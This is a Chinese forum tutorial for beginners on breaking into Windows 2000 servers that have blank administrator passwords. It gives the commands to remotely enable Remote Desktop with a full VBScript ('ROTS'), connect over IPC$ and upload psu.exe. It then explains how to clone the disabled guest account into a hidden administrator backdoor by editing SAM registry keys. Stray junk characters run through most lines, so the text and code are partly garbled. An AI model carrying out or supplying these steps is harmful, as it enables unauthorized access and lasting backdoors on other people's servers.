|
一次简单的3389入侵过程
( m! g- K1 u2 g/ D' o: ^, k原创:caozhe(草哲)
E+ b( T) D1 d2 L+ S来源:中国欲网技术论坛--草哲
6 M7 Q4 X' o( n6 f , Q, ]! K I. l# H
我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!2 X0 k0 f3 z8 h7 `9 F0 z, j: X
7 l' b% ?2 f; ]2 w5 Z$ s, ~, M于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!
7 P2 A, v% G4 x3 V' c' b0 ?+ h要入侵,我建议你在win2000环境下来*作!+ X' t/ b. t6 W; n8 H' P% [1 j0 x$ l+ e
9 W7 h9 I* o/ U) j3 K9 N$ C
首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!
: ~- w2 ^1 p" o H2 P扫描的X-Scan V2.3、WINNTAutoAttack、流光!
- Y) }; w2 K& m+ X* I v8 HX-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!, R+ s) s9 \! g' |; c% @
远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe)/ v8 |8 U6 }% b* U5 z/ K3 {
克隆帐户用个psu就可以了~!. D; K9 n' ^; f3 J0 C' F- v! }
2 o! J3 T; t( X. m T {+ sOK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空
# y( ^0 r: }3 b# Z2 R: _9 V! n运行CMD(2000下的DOS),我们给它开终端!
: J0 Q+ @, B3 |0 x- k. I, i* D8 @& Y命令如下!
" e" F5 G. ?! Rcscript rots.vbe 120.0.0.1 administrator "" 3389 /fr& C: Z! U& w" G
上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)
8 |9 O) a/ T; a% A, H2 ?- g+ h( G
6 ~4 _! L9 `% O因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!. v8 \& ~/ J# M% \
1 b3 d7 E$ R/ J9 i! O* ^
一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t
7 w$ d* q$ ^& l2 q# \! B安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!" a- Z! ~+ z' d5 w# j' u/ C* f
9 ~) _) l% @, I" e9 t" |' E" W回到DOS下!我们建立IPC$连接! k- {+ P* o# ^, R8 \' C1 o
net use \\120.0.0.1\ipc$ "" /user:"administrator"
, H7 V( Q' n! m这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下!
0 h$ X# H) m- G( P+ }8 ecopy psu.exe \\120.0.0.1\admin$\system32
* d& X( N* g$ h' i! s上传完毕后,开始在肉鸡做后门帐户!看肉鸡!2 n& B& w8 ^* I% p+ \1 J" M8 W7 @
2 ?6 D# p% M9 h
假设guest用户被禁用,我们就是要利用guest做后门帐户!
% |1 \8 g/ v, m; J在该服务器运行CMD,在命令行下输入- v( r" _+ U$ `1 f4 o; ^
psu -p regedit -i PID
) z3 B' [3 I; a6 G! j3 b0 e6 j
3 i7 S _7 M* L1 B7 q1 m这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!
5 M- ?5 M+ ?6 D! a' n8 ]4 V* U看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是54581 a! m3 V* j/ I
那么,命令就是这样
' R# h1 T: G1 bpsu -p regedit -i 5458
5 M$ ]2 y/ \3 ]1 b* ~8 z; Y这样直接打开注册表,可以读取本地sam的信息。
" w9 j8 z0 A9 O) p& {( N# M$ t打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users$ ~3 o& K8 U, E& n7 Z9 O* i' i
下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!
5 |2 m, x9 _0 Y( h! K( rHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
: n. Q7 L4 V' I1 D( ]; e+ p8 A查看administrator的类型,是if4,再看guest的是if5
5 ^; e" f8 W6 u: ^好了,知道了类型后,打开! t4 m- l. {( o+ y
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F46 Z8 z3 Z0 O% Z4 J
这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开! Y: s- A; N% ?+ c/ h+ \7 z9 L7 U
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
/ @8 t" T* o: W" G. g( B双击右侧的F,把刚复制的粘贴到里面!
6 x" H# C; q# i
& K5 T1 M3 a! M/ V' ^( o做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
3 d4 m( H' C- @: B8 D和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest
S2 l9 a' V) y这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。
9 {/ V2 ^. e ~5 c, R2 W& e% ^' P8 a; i
打开CMD,在命令行下输入
2 O( ]& |/ q! `, xnet user guest password T. C5 v( |$ v- E: {
这条命令是给guest设置密码,后面的password就是密码
: @# k1 ?4 B9 ~9 Z4 a然后输入
) i3 H+ V9 m5 f6 y$ B2 Anet user guest /active:y
9 G+ v* r2 s0 k6 J$ x% }9 r, k这命令是激活guest帐户,然后我们把他禁用; m$ \7 T6 u1 d8 b0 D8 X
net user guest /active:n
; ?- l6 g9 b3 s4 M上面的三行命令必须在DOS下执行!
5 j1 J4 K! e6 D9 C# R
" v1 Q4 R' u2 ?OK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!! x- i/ O3 Z( }8 L: R" z# u
而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!4 }7 R7 X( z4 O0 J3 _8 G
& g5 g. G5 c0 w8 ?1 D4 q/ c2 ?
注销一下,用guest登陆吧!
0 j, b. _7 {# d# M# t$ a z
5 m r# p/ g1 b) \* C6 t打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!) t2 S3 v' V3 M: p
如果还有地方不明白的话,可以问我,我知道的一定告诉大家!
: y. ]- e7 [# ?& a4 M; `1 H/ ~* k% x9 s2 h) X7 _2 Y
因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!$ R: J& ]1 L* k
( B4 a/ b+ I8 J% e5 p& a( F----------------------------------------------------------------------, S% O5 Q5 t' N& L/ ]
以下是开终端的脚本,把它存为*.vbe- p. Q: b5 P7 G' Z& g+ U
on error resume next7 d- p+ z1 Q9 i$ e
set outstreem=wscript.stdout! Y5 P: W! Z! E
set instreem=wscript.stdin
& D2 ?7 Z) N/ R3 h/ y5 [5 Oif (lcase(right(wscript.fullname,11))="wscript.exe") then2 E% k5 \. \2 S5 }% j( G+ ]
set objShell=wscript.createObject("wscript.shell")
( t# w2 J9 i: c objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))$ X5 M+ I1 R% \/ W, j$ R
wscript.quit& W7 G0 m- V! Y2 D4 W
end if. W4 e: a, f* h& f
if wscript.arguments.count<3 then, P6 v0 C$ O; N; w( `# E# m
usage()
6 y2 R3 Q( y$ q& B* K wscript.echo "Not enough parameters."
: v. U) Z, C7 i" H* _ wscript.quit* C- O7 F3 [2 i' x9 X. o+ @6 q
end if
: j/ G) a- E% u. u3 e; c. c7 g# B; M) T/ s" d! E* A( N
ipaddress=wscript.arguments(0)
+ N: M" W+ _4 E" |8 Musername=wscript.arguments(1)2 O2 p# Y( g! Z8 D! W0 M
password=wscript.arguments(2)
% ]! y" A! `* I- H6 x& i( pif wscript.arguments.count>3 then% t- X# o( @8 F
port=wscript.arguments(3)
# h; z& O3 l# L, l. [* e% v& `else
4 r8 `* X. @# F t port=3389% I( \+ C! k& z o
end if* T! j& N- e/ W- t
if not isnumeric(port) or port<1 or port>65000 then
) R5 }5 e% `2 U wscript.echo "The number of port is error."
0 a! @3 Z" b. `, m# J wscript.quit1 I9 d( b6 u# y# E7 U& O
end if
- u" x& ^7 b8 R8 H6 hif wscript.arguments.count>4 then9 l5 M+ B0 j+ w4 `' F
reboot=wscript.arguments(4)
# c( t1 g6 a& ^ v Aelse
& i3 ?4 `- ~* X. v/ G& B reboot=""; z' B; R# K$ ?& c) Q! M* Z* F
end if9 ]% f7 M9 {( V$ B6 j' t: A/ [
7 N4 I/ h q7 s5 e$ ]/ t0 V" ?usage()1 C3 G5 ?* E/ _0 b% `3 G
outstreem.write "Conneting "&ipaddress&" ...."
# r0 `9 B$ x' Y5 rset objlocator=createobject("wbemscripting.swbemlocator")
; G4 K1 f8 L; V; vset objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
1 H, M4 `2 |+ K9 ]( J$ l0 W- jshowerror(err.number)
" Y! `. M( C7 U/ I! J2 ~objswbemservices.security_.privileges.add 23,true
" g3 h% ^0 Q7 L0 I* Hobjswbemservices.security_.privileges.add 18,true
8 X" j) F+ ?- o6 m/ y e, B( |; D2 _% y# w! _1 U6 Z% h. }
outstreem.write "Checking OS type...."% G! p9 A8 i4 B3 F
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem"), m8 i0 A# f, |2 P6 ?
for each objinstoscaption in colinstoscaption
' q4 E7 D4 Z9 K$ H' B% W if instr(objinstoscaption.caption,"Server")>0 then
$ A2 D$ t1 a* r! a0 `& j/ i1 `9 x4 J wscript.echo "OK!"
7 T6 `) _* A: X& f9 Y( ?# U else
' b+ n T2 I! }8 f wscript.echo "OS type is "&objinstoscaption.caption
+ U- j3 v3 @& T outstreem.write "Do you want to cancel setup?[y/n]"
# \9 x/ Y- Y$ K- |3 n( N strcancel=instreem.readline( C, T1 r$ K9 k( O) J
if lcase(strcancel)<>"n" then wscript.quit/ E7 P+ }- a# h3 m. G2 H' F
end if3 g/ V: ]& {3 Z @
next
. \5 N- d, e- X7 s" `: j
# W) q$ K# Z# |( b- j* L# loutstreem.write "Writing into registry ...."# J6 O* K: F$ m- ]3 E
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov"). o; Q# }4 p5 n$ K. V% x& c+ C
HKLM=&h800000029 P8 z" Z) s- Y5 P8 ~. K0 I7 A
HKU=&h80000003
- ~# s6 _& `+ ^3 N! E8 m/ Rwith objinstreg
) l7 q1 a$ L0 B; U5 G9 K& ~.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
6 j1 }9 d. K' m6 |& O) k! b# t D- {6 _.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",05 l k! b7 J( E
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"! U) K8 }3 z1 R
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1
2 E5 l& Y' d; _. ^& G% p.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1
2 {+ f6 t0 K+ p( m$ v.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2) M* O4 M! R- \4 t1 z4 o8 v f
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
( _$ f+ m5 O* f1 A.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"6 G1 ~# B/ k2 m2 Q- ^: K" Y
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port
+ o8 w( Y8 v4 D4 S: zend with
, W1 @+ B' X6 B* u5 }showerror(err.number)7 k$ D" B& C* f6 A+ }
1 N2 D! B& P2 a6 Q' c7 Vrebt=lcase(reboot)0 D P4 B( c$ J
flag=0
K1 R+ `! ]% `' W1 X! bif rebt="/r" or rebt="-r" or rebt="\r" then flag=24 R, J* ^' U% ^3 a4 p1 }0 C
if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6' Y( J1 B# ]$ T* l5 Z
if flag<>0 then
& \+ a# u' m0 t outstreem.write "Now, reboot target...."
7 ]6 \, R3 y& j; i: y strwqlquery="select * from win32_operatingsystem where primary='true'"5 ` d% B3 H; F) F' Z6 a
set colinstances=objswbemservices.execquery(strwqlquery)+ @1 Z/ f5 y6 e: q. L+ {
for each objinstance in colinstances
5 _- J* T- d4 o! Q objinstance.win32shutdown(flag)
! q0 a3 Q" L. U9 {* }& I next
9 {8 i6 d+ a" |5 W, {$ r9 s showerror(err.number) ]$ D- O3 S+ w
else
7 U; r; r9 c3 y2 u8 u6 w* h* u: f2 f wscript.echo "You need to reboot target."&vbcrlf&"Then,"# ^1 h4 {, A5 |9 I) W }
end if" w6 G, I5 c# @8 o& W% O6 u; G
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"- i: ?) i! _. W; l: j; v6 T; s
* N6 c2 A1 C% L; wfunction showerror(errornumber)
1 U& `* _ P2 _7 v, Yif errornumber Then
3 u4 B$ p) `7 L" \( E4 w wscript.echo "Error 0x"&cstr(hex(err.number))&" ."3 v+ y/ ^$ F# a7 F
if err.description <> "" then& {- ^" _2 n' h' @1 [: t! m q
wscript.echo "Error description: "&err.description&"."
6 N* {. E l0 ?3 y end if+ ?& _" @) V, @+ C/ [/ L
wscript.quit8 `9 |$ s6 _5 v* z" l% R! l
else# m1 x! z9 I7 G0 l# [' R' K) L
wscript.echo "OK!"! L& d) Z* m; a% y1 _
end if
; x' Z7 J0 S4 |; Qend function/ V* p+ c# z; o: O
, ^: g/ V" B1 Z' ffunction usage()7 l" ?6 K* Z" Y/ |! @
wscript.echo string(79,"*")& x' O# d, Q0 _ J- S- {
wscript.echo "ROTS v1.05"0 s1 Z4 v4 h5 T. A
wscript.echo "Remote Open Terminal services Script, by 草哲"# w7 R( A* f: B" i4 A: M
wscript.echo "Welcome to visite www.5458.net"
8 L; M- g4 q8 k7 Q( H( Lwscript.echo "Usage:"
. |4 M6 Y/ p ]+ |3 c8 rwscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"
; X4 D& k- y; g$ Q' H) Swscript.echo "port: default number is 3389."
; g$ T0 y! [! Z6 Y# \wscript.echo "/r: auto reboot target."
# t7 K3 V; u) u6 }/ j3 uwscript.echo "/fr: auto force reboot target."
8 M) {9 M5 i, @- r3 T- Owscript.echo string(79,"*")&vbcrlf; }4 R) O" b( F' \
end function
d$ H; z5 T& E# A4 v1 M- L " o e# F1 U5 \+ |* I) U" y, q
转自安全焦点 |
|